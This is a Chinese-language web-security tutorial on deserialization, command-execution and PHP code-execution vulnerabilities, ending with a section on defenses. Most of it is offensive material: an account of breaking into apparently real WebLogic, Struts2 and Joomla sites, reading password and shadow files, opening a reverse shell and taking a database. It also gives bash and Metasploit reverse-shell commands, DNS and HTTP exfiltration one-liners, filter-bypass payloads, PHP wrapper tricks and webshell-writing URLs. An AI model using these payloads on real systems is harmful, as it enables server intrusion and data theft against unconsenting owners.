抛开具体涉及到语言、函数,我们用通俗易懂的话的说,序列化就是从A-》B的过程,这是不会出问题的,有可能出问题的地方出在B-》A,在这个过程中伟大的代码审计牛人们发现了漏洞,使得B+N-》C,而不是B-》A,由此引发了漏洞,这种漏洞被称作反序列化漏洞。 那么用专业些的话来说,是什么意思呢?我们需要在进行反序列化的地方传入攻击者的序列化代码,以此来利用漏洞 流行的语言如PHP、Java都存在反序列化漏洞,由这些语言开发的知名的组件ImageMagick、Weblogic、Struts2等当然不可避免地会存在反序列化漏洞,本文要展现的第一枚漏洞就是java反序列化漏洞引发的。 我们说的理论好像很高深似的,其实挖洞的时候大多数人都是直接上工具的,像用burp挖通用型漏洞,bugscan、pocsuite挖事件型漏洞都是很常见的套路。But,由于java的反序列化问题实在太严重,看不下去的师傅们就写了各种各样的工具方便管理员检测自己的漏洞(也方便了白帽子挖洞)。这里展示的几个漏洞就是用工具挖出来的。 首先我们找到网站的后台: 那段时间weblogic的反序列化漏洞很火,直接上工具 发现还真存在这个漏洞,上图我们执行了whoami 我们可以再看看别的命令 比如ifconfig 上面介绍了weblogic的,我们再来看一个struts2的漏洞 首先找到web页面 用工具K8测试了下发现存在漏洞 Whoami查看权限发现是root 再用netstat –an查看下端口等信息 Ifconfig看看网络设备 都任意执行命令了,不看看帐号管理两个最重要的档案? 先/passwd看看用户口令 再/shadow看看所有用户的密码 以上介绍了两个Java命令执行的漏洞,我们再来介绍个php反序列化导致命令执行的漏洞,这个漏洞存在于joomla中。这个漏洞准确的说并不是命令执行的功劳,不过它是通过php反序列化的命令执行漏洞才进行更深一步的渗透的,所以我还是在这里列了出来。 碰到一个joomla的网站 拿起脚本直接上 大体流程就是检测是否存在漏洞-》存在漏洞则exploit-》建立socket连接-》执行php“php-r \’$sock=fsockopen(“x.x.x.x”,10089);exec(“/bin/sh -i<&3 >&3 2>&3″);\’”来反弹shell 成功反弹shell 通过ubuntu提权获得root权限 进mysql看看 注意到此处存在一个远程的sqlserver数据库的连接 使用navicat成功连上 拿到数据了 ###命令执行漏洞绕过技巧 1.命令执行和绕过tips1 测试: 0 | dir c: 代码只过滤了部分特殊字符,可以考虑用其他字符进行测试 (1)windows利用的特殊字符 | 直接执行后面的语句 : ping 127.0.0.1|whoami || 前面出错执行后面的 ,前面为假:ping 2 || whoami & 前面的语句为假则直接执行后面的,前面可真可假 : ping 127.0.0.1&whoami &&前面的语句为假则直接出错,后面的也不执行,前面只能为真 : ping 127.0.0.1&&whoami (2)Linux利用的特殊字符 ; 前面的执行完执行后面的 : ping 127.0.0.1;whoami | 管道符,显示后面的执行结果: ping 127.0.0.1|whoami 11 当前面的执行出错时执行后面的: ping 1||whoami & 前面的语句为假则直接执行后面的,前面可真可假 : ping 127.0.0.1&whoami &&前面的语句为假则直接出错,后面的也不执行,前面只能为真: ping 127.0.0.1&&whoami (3)空格绕过 < 符号 %09 符号需要php环境,这里就不搭建啦,见谅) $IFS$9 符号和${IFS} 符号 这里解释一下${IFS},$IFS,$IFS$9的区别,首先$IFS在linux下表示分隔符,然而我本地实验却会发生这种情况,这里解释一下,单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。 (4)命令分隔符5种姿势 &符号: & 放在启动参数后面表示设置此进程为后台进程,默认情况下,进程是前台进程,这时就把Shell给占据了,我们无法进行其他操作,对于那些没有交互的进程,很多时候,我们希望将其在后台启动,可以在启动参数的时候加一个’&’实现这个目的。进程切换到后台的时候,我们把它称为job。切换到后台时会输出相关job信息,这里36210就是该进程的PID |符号: 管道符左边命令的输出就会作为管道符右边命令的输入,所以左边的输出并不显示 (5)命令终止符 %00 %20# (需要php环境,这里就不搭建啦,见谅) (6)黑名单绕过 a=l;b=s;$a$b base64编码 (7)无回显的命令执行 这里先给一个bugku平台的靶机地址:http://47.93.190.246:49165/ 这里第一步先用 username=0' union select 1,md5(1)# password=1 绕过,就可以到命令执行界面然而尝试一下发现没有回显这里有3种方法 (1)第一种是利用bash命令并在本地进行nc监听结果查看回连日志,然后就行 先在vps处用nc进行监听 nc -l -p 8080 -vvv 然后在靶机命令执行处输入 |bash -i >& /dev/tcp/xxxxxI(你的vps的公网ip)/8080 0>&1 (2)第二种是msf反向回连 同样vps用msf监听 vps的msf监听: use exploit/multi/handler set payload linux/armle/shell/reverse_tcp set lport 8080 set lhost xxx.xxx.xxx.xxx set exitonsession false exploit -j 然后在靶机命令执行处输入 |bash -i >& /dev/tcp/xxxxxI(你的vps的公网ip)/80800>&1 即可getflag (3)第三种是利用DNS管道解析 这里提供一个在线网址,可以直接进行给一个利用网址:admin.dnslog.link注册一个账号后会分配一个子域名可以利用 |curl `whoami`.xxxx.xxx(子域名) 这样就会在利用网址看到反弹结果。(这里也不演示了,账号忘记了。。。)这里解释一下\whoami\因为`反引号在linux下是执行命令的特殊符号,原理请见:http://mp.weixin.qq.com/s/jwqWnP0FHhMoR5b6iCS6NQ (8)七个字的命令执行 这题是p总在小密圈发表的一篇文章,当时没有做出来,这题是利用重命名文件绕过的,所以可以这样进行调用,因为限制了命令的长度,所以无法直接构造,只能通过文件构造 这里先介绍一下小技巧,linux下创建文件的命令可以用1>1创建文件名为1的空文件 进一步fuzz发现a>1居然也可以,虽然会报错,但是还是可以创建空文件。 ls>1可以直接把把ls的内容导入一个文件中,但是会默认追加\n。有了这个基础,我们再来看这道题 <?php if(strlen($_GET[1])<8){ echo shell_exec($_GET[1]); } ?> 简单的代码,可以利用 1>wget\ 1>域名.\ 1>com\ 1>-O\ 1>she\ 1>ll.p\ 1>p ls>a sh a 这里注意.不能作为文件名的开头,因为linux下.是隐藏文件的开头,ls列不出来 然而这里还有个问题,就是ls下的文件名是按照字母顺序排序的,所以需要基于时间排序 ls -t>a (9)网络地址转化为数字地址 网络地址有另外一种表示形式,就是数字地址比如127.0.0.1可以转化为2130706433 可以直接访问 http://2130706433 或者 http://0x7F000001 这样就可以绕过.的ip过滤,这里给个转化网址:http://www.msxindl.com/tools/ip/ip_num.asp (10)GCTF RCE 这题过滤了很多东西,下面说一下比较重要的 ||&|;|%{}| |''|.| 这里给个payload %0acat%09 %0Acat$IFS$9 %0acat< 用%0a绕过curl然后在从我前面绕过空格的payload中随便挑一个没有过滤的 2.命令执行和绕过tips2 (1)环境搭建 本地测试环境:php 5.4.45 + win <?php $command = 'dir '.$_POST['dir']; $escaped_command = escapeshellcmd($command); var_dump($escaped_command); file_put_contents('out.bat',$escaped_command); system('out.bat'); ?> (2)escapeshellcmd函数绕过 http://php.net/manual/zh/function.escapeshellcmd.php escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。 具体会转义哪些字符? https://github.com/php/php-src/blob/PHP-5.4.45/ext/standard/exec.c 这些都会用^来取消其意义。也就是没办法用& | 来执行其他命令,只能列目录。 有这样的一个tips:执行.bat文件的时候,利用%1a,可以绕过过滤执行命令。 (3)黑名单绕过 执行ls命令: a=l;b=s;$a$b cat hello文件内容: a=c;b=at;c=he;d=llo;$a$b ${c}${d} (4)空格绕过 绕过空格 ${IFS} 或者在读取文件的时候利用重定向符 <> 最后就是别人fuzz的一个命令执行项目:https://github.com/ewilded/shelling 4.无回显 无回显获取数据的需求还是挺大的,比如sql,xxe,xss等等,这个时候一般可以用dns/http通道来获取数据。 linux: curl xxxx.ceye.io/`whoami` ping -c 1`whoami`.xxxx.ceye.io 可以获取数据,当前权限是root 但是有一个特别恼火的事情就是特殊字符或者是空格出现的话,这时候可以通过一些编码来,比如base64 curl http://xxxx.ceye.io/$(id|base64) (5)windows下的绕过 windows下很头疼,用起来并没有linux那么方便好用,比如curl、wget等等。 http请求: for /F %x in ('whoami') do start http://xxx.ceye.io/%x dns请求: 获取计算机名:for /F "delims=\" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info 获取用户名:for /F "delims=\ tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info (6)powershell绕过 for /F %x in ('whoami') do powershell $a=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('%x'));$b=New-Object System.Net.WebClient;$b.DownloadString('http://xxx.ceye.io/'+$a); 这样就也能获取到一个base64编码到命令结果啦~算是弥补一个小小的坑。 ps:这个是用powershell2.0写的,其他版本未测试。 但是如果没有powershell想要获取更多数据的话,还是比较麻烦的。 比如获取d:\所有文件,遇上空格也是会被截断。 for /F %x in ('dir /b D:\') do start http://xxx.ceye.io/%x (7)借他人之手来获取字符 如果过滤了<>?,可以从已有的文件中获取自己需要的字符。 当然如果服务器能外网的话,直接wget -o /tmp 就好了。 3.get任意命令执绕过tips 思路来自于HITCON2017中的ssrfme,考点是GET的任意命令执行。代码很简单,调用命令GET来执行从url获取的参数, 然后按照filename新建文件,写入GET的结果。 代码如下: <?php $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); @mkdir($sandbox); @chdir($sandbox); $data = shell_exec("GET " . escapeshellarg($_GET["url"])); $info = pathinfo($_GET["filename"]); $dir = str_replace(".", "", basename($info["dirname"])); @mkdir($dir); @chdir($dir); @file_put_contents(basename($info["basename"]), $data); highlight_file(__FILE__); ?> 于本地刚做完系统,环境并不全,只有一个kali,还复现失败,所以以下为转载的LoRexxar大师傅的文章 我不知道关于这个问题最早是什么时候爆出的了,但确实已经很多年了。 https://news.ycombinator.com/item?id=3943116 root@iZ285ei82c1Z:~/test# cat a.pl open(FD, "|id"); print <FD>; root@iZ285ei82c1Z:~/test# perl a.pl uid=0(root) gid=0(root) groups=0(root) 而perl里的GET函数底层就是调用了open处理 file.pm 84: opendir(D, $path) or 132: open(F, $path) or return new open函数本身还支持file协议 root@iZ285ei82c1Z:~/test# cat /usr/share/perl5/LWP.pm head2 File Request The library supports GET and HEAD methods for file requests. The "If-Modified-Since" header is supported. All other headers are ignored. The I<host> component of the file URL must be empty or set to "localhost". Any other I<host> value will be treated as an error. Directories are always converted to an HTML document. For normal files, the "Content-Type" and "Content-Encoding" in the response are guessed based on the file suffix. Example: $req = HTTP::Request->new(GET => 'file:/etc/passwd'); 综合看起来像是一个把文件名拼接入命令导致的命令执行。我们可以测试一下: root@iZ285ei82c1Z:~/test# GET 'file:id|' uid=0(root) gid=0(root) groups=0(root) 成功执行命令了,那么思路就清楚了,我们通过传入命令文件名和命令来执行。 payload来自rr的博客: http://13.115.136.15/?url=file:bash%20-c%20/readflag|&filename=bash%20-c%20/readflag| http://13.115.136.15/?url=file:bash%20-c%20/readflag|&filename=bash%20-c%20/readflag| http://13.115.136.15/sandbox/c36eb1c4372f5f8131542751d486cebd/bash%20-c%20/readflag%7C 4.php伪协议的命令执行技巧 首先归纳下常见的文件包含函数:include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file,计划对文件包含漏洞与php封装协议的利用方法进行总结,本篇先总结下一些封装协议,涉及的相关协议:file://、php://filter、php://input、zip://、compress.bzip2://、compress.zlib://、data://,后续再对每个文件包含函数进一步进行探讨。 1.环境搭建 PHP.ini: allow_url_fopen :on 默认开启 该选项为on便是激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象文件等。 allow_url_include:off 默认关闭,该选项为on便是允许 包含URL 对象文件等。 为了能够尽可能的列举所有情况本次测试使用的PHP版本为>=5.2 具体为5.2,5.3,5.5,7.0;PHP版本<=5.2 可以使用%00进行截断。 2.是否截断问题 本篇由以下这个简单的例子进行探讨,首先看如下两种文件包含情况。 情况一:不需要截断: http://127.0.0.1/test.php?file=file:///c:/users/Thinking/desktop/flag.txt <?php include($_GET['file']) ?> 情况二:需要截断: 在php版本<=5.2中进行测试是可以使用%00截断的。 http://127.0.0.1/test.php?file=file:///c:/users/Thinking/desktop/flag.txt%00 <?php include($_GET['file'].’.php’) ?> 3. allow_url_fopen与allow_url_include是否开启的问题(1)file://协议 PHP.ini: file:// 协议在双off的情况下也可以正常使用; allow_url_fopen :off/on allow_url_include:off/on file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响 参考自:http://php.net/manual/zh/wrappers.file.php 使用方法: file:// [文件的绝对路径和文件名] http://127.0.0.1/cmd.php?file=file://D:/soft/phpStudy/WWW/phpcode.txt (2)php://协议 条件: 不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。 php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。 参考自:http://php.net/manual/zh/wrappers.php.php#refsect2-wrappers.php-unknown-unknown-unknown-descriptioq php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。 PHP.ini: php://filter在双off的情况下也可以正常使用; allow_url_fopen :off/on allow_url_include:off/on 测试现象: http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=./cmd.php php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。 PHP.ini: allow_url_fopen :off/on allow_url_include:on 测试现象: http://127.0.0.1/cmd.php?file=php://input [POST DATA] <?php phpinfo()?> 也可以POST如下内容生成一句话: <?php fputs(fopen(“shell.php”,”w”),’<?php eval($_POST["cmd"];?>’);?> (3)zip://, bzip2://, zlib://协议 PHP.ini: zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用; allow_url_fopen :off/on allow_url_include:off/on zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。 参考自:http://php.net/manual/zh/wrappers.compression.php (3)zip://协议 使用方法: zip://archive.zip#dir/file.txt zip:// [压缩文件绝对路径]#[压缩文件内的子文件名] 测试现象: http://127.0.0.1/cmd.php?file=zip://D:/soft/phpStudy/WWW/file.jpg%23phpcode.txt 先将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。 由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径。 (4)bzip2://协议 使用方法: compress.bzip2://file.bz2 测试现象: http://127.0.0.1/cmd.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg or http://127.0.0.1/cmd.php?file=compress.bzip2://./file.jpg (5)zlib://协议 使用方法: compress.zlib://file.gz 测试现象: http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg or http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg (6)data://协议 经过测试官方文档上存在一处问题,经过测试PHP版本5.2,5.3,5.5,7.0;data:// 协议是是受限于allow_url_fopen的,官方文档上给出的是NO,所以要使用data://协议需要满足双on条件 PHP.ini: data://协议必须双在on才能正常使用; allow_url_fopen :on allow_url_include:on 参考自:http://php.net/manual/zh/wrappers.data.php, 官方文档上allow_url_fopen应为yes。 测试现象: http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?> or http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= 也可以: http://127.0.0.1/cmd.php?file=data:text/plain,<?php phpinfo()?> or http://127.0.0.1/cmd.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= ###命令执行漏洞危害 远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。黑客可在服务器上执行任意命令,写入后门,从而入侵服务器,获取服务器的管理员权限,危害巨大。 1.继承Web服务程序的权限去执行系统命令或读写文件 2.反弹shell 4.控制整个网站甚至控制服务器 5.进一步内网渗透 ###命令执行修复方案与防御 建议假定所有输入都是可疑的,尝试对所有输入提交可能执行命令的构造语句进行严格的检查或者控制外部输入,系统命令执行函数的参数不允许外部传递。 不仅要验证数据的类型,还要验证其格式、长度、范围和内容。 不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务端进行。 对输出的数据也要检查,数据库里的值有可能会在一个大网站的多处都有输出,即使在输入做了编码等操作,在各处的输出点时也要进行安全检查。 在发布应用程序之前测试所有已知的威胁。 具体防御方案: PHP内置的两个函数可以有效防止命令执行: escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。资料参考:http://cn.php.net/manual/zh/function.escapeshellarg.php escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。资料参考:http://cn.php.net/manual/zh/function.escapeshellcmd.php 当然,修复方法还有很多方式,修复方式一般有两种思维: 黑名单:过滤特殊字符或替换字符 白名单:只允许特殊输入的类型/长度 黑名单修复: <?php $target=$_REQUEST['ip']; $octet = explode( ".", $target ); if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) { $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3]; $cmd = shell_exec('ping '.$target); echo "<pre>{$cmd}</pre>"; } else { echo '<pre>ERROR: You have entered an invalid IP.</pre>'; } ?> 白名单修复: <?php $target=$_REQUEST['ip']; $cmd = shell_exec('ping '. escapeshellcmd($target)); echo "<pre>{$cmd}</pre>"; ?> 1.尽量不要使用系统执行命令 2. 尽量少用执行命令的函数或者直接直接禁用 3. 参数值尽量使用引号包括 4. 在使用动态函数之前,确保使用的函数是指定的函数之一 5. 在进入执行命令的函数/方法之前,对参数进行过滤,对敏感字符进行转义 <?php $arg = $_GET['cmd']; // $arg = addslashes($arg); $arg = escapeshellcmd($arg); //拼接前就处理 if ($arg) { system("ls -al '$arg'"); } 6. 能使用脚本解决的工作,不要调用其他程序处理。尽量少用执行命令的函数,并在disable_functions中禁用 7. 对于可控点是程序参数的情况下,使用escapeshellcmd函数进行过滤,对于可控点是程序参数值的情况下,使用escapeshellarg函数进行过滤 8. 参数的值尽量使用引号包裹,并在拼接前调用addslashes进行转义而针对由特定第三方组件引发的漏洞,我们要做的就是及时打补丁,修改安装时的默认配置。 复代码: <?php //判断字符串包含函数 function checkstr($str,$find){ $needle = $find; $tmparray = explode($needle,$str); if(count($tmparray)>1){ return true; } else{ return false; } } if(isset($_REQUEST['submit']) && $_REQUEST['ip']===''){ echo '<pre>请输入IP或者域名</pre>'; }else{ $target=filter_var($_REQUEST['ip'],FILTER_SANITIZE_SPECIAL_CHARS);//用filter进行编码 if(checkstr($target,".") && !checkstr($target,"|") && !checkstr($target,"&") && !checkstr($target," ")){ if(stristr(php_uname('s'),'Windows NT')){ $cmd=shell_exec('ping '.$target); echo '<pre>'.$cmd.'</pre>'; }else{ $cmd=shell_exec('ping -c 3'.$target); echo '<pre>'.$cmd.'</pre>'; } }else{ echo '<pre>请勿提交非法字符</pre>'; } } ?> 9.对PHP语言来说,不能完全控制的危险函数最好不要使用 escapeshellcmd()函数是过滤的整条命令 payload: <?php eche(escapeshellcmd($_GET['a']));?> 请求1.php?a=whoami', 在windows下返回whoami^',在linux下返回whoami\' escapeshellarg()函数则是过滤参数 payload: <?php echo escapeshellarg('a"');?> //会见双引号替换成空格,输出为"a " ##命令函数的利用 1. system: system函数可以用来执行一个外部的应用程序并将相应的执行结果输出,函数原型如下: string system(string command, int&return_var),其中,command是要执行的命令,return_var存放执行命令的执行后的状态值。 2. exec: exec函数可以用来执行一个外部的应用程序,string exec (string command, array&output, int &return_var),其中,command是要执行的命令,output是获得执行命令输出的每一行字符串,return_var存放执行命令后的状态值。 3.Passthru: passthru函数可以用来执行一个UNIX系统命令并显示原始的输出,当UNIX系统命令的输出是二进制的数据,并且需要直接返回值给浏览器时,需要使用passthru函数来替代system与exec函数。Passthru函数原型如下: void passthru (string command, int&return_var),其中,command是要执行的命令,return_var存放执行命令后的状态值。 4. Shell_exec: 执行shell命令并返回输出的字符串,函数原型如下:string shell_exec (string command),其中,command是要执行的命令。 ###代码执行定义 靠执行脚本代码调用操作系统命令: 当应用在调用一些能将字符转化为代码的函数(如PHP中的eval)时, 没有考虑用户是否能控制这个字符串,这就会造成代码执行漏洞。 远程代码执行是指程序代码在处理输入输出的时候没有严格控制。导致用户可以构造参数包含执行远程代码在服务器上执行,进而获取到服务器权限,是发生在应用程序的逻辑层上的漏洞。 ###代码执行原理 应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。 ###代码执行相关函数 PHP:eval assert Python:exec asp:<%=CreateObject(“wscript.shell”).exec(“cmd.exe /c ipconfig”).StdOut.ReadAll()%> Java:没有类似函数,但采用的反射机制和各种基于反射机制的表达式引擎(OGNL、SpEL、MVEL等)有类似功能 phpcms中的string2array函数 这个函数可以将phpcms的数据库settings的字符串形式的数组内容转换为真实的数组 array(//这个是字符串形式的数组,它并不是数组,而是字符串 'upload_maxsize' => '2048', 'upload_allowext' => 'jpg|jpeg|gif|bmp|png|doc|docx|xls|xlsx|ppt|pptx|pdf|txt|rar|zip|swf', 'watermark_enable' => '1', 'watermark_minwidth' => '300', 'watermark_minheight' => '300', 'watermark_img' => '/statics/images/water/mark.png', 'watermark_pct' => '85', 'watermark_quality' => '80', 'watermark_pos' => '9', ) function string2array($data) { //这个函数可以将字符串$data转化为数组 if($data == '') return array(); @eval("\$array = $data;"); return $array; } ###代码执行漏洞分类 执行代码的函数:eval、assert callback函数:preg_replace + /e模式 反序列化:unserialize()(反序列化函数) ###代码执行漏洞危害 执行代码 让网站写shell 甚至控制服务器 ###代码执行搭建环境实验 示例一: <?php $data = $_GET['data']; eval("\$ret = $data;"); echo $ret; ?> 示例二: <?php $data = $_GET['data']; eval("\$ret = strtolower('$data');"); echo $ret; ?> 示例三: <?php $data = $_GET['data']; eval("\$ret = strtolower(\"$data\");"); echo $ret; ?> 示例四: <?php $data = $_GET['data']; eval("\$ret = strtolower(\"$data\");"); echo $ret; ?> 示例五: mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit]) /e修正符使preg_replace()将replacement参数当作PHP 代码(在适当的逆向引用替换完之后) <?php $data = $_GET['data']; // echo $data; preg_replace('/<data>(.*)<\/data>/e','$ret = "\\1"',$data); echo $ret; ?> ##代码执行渗透技巧 # 一般找CMS相应版本漏洞,如ThinkPHP2.1 ##一句话 http://www.xxx.com/News/detail/id/{${@eval($_POST[aa])}} ##得到当前路径 http://www.xxx.com/News/detail/id/{${print(getcwd()))}} ### 读文件 http://www.xxx.com/News/detail/id/{${exit(var_dump(file_get_contents($_POST['f'])))}} POST的数据为:f=/etc/passwd ###写shell http://www.xxx.com/News/detail/id/{${exit(var_dump(file_put_contents($_POST['f'],$_POST[d])))}} POST的数据为:f=1.php&d=<?php @eval($_POST['aa'])?> ###代码执行漏洞防御 使用json保存数组,当读取时就不需要使用eval了,对于必须使用eval的地方,一定严格处理用户数据字符串使用单引号包括可控代码,插入前使用addslashes转义放弃使用preg_replace的e修饰符,使用preg_replace_callback()替换若必须使用preg_replace的e修饰符,则必用单引号包裹正则匹配出的对象 <wiz_tmp_tag id="wiz-table-range-border" contenteditable="false" style="display: none;">
创建帐户或登录后发表意见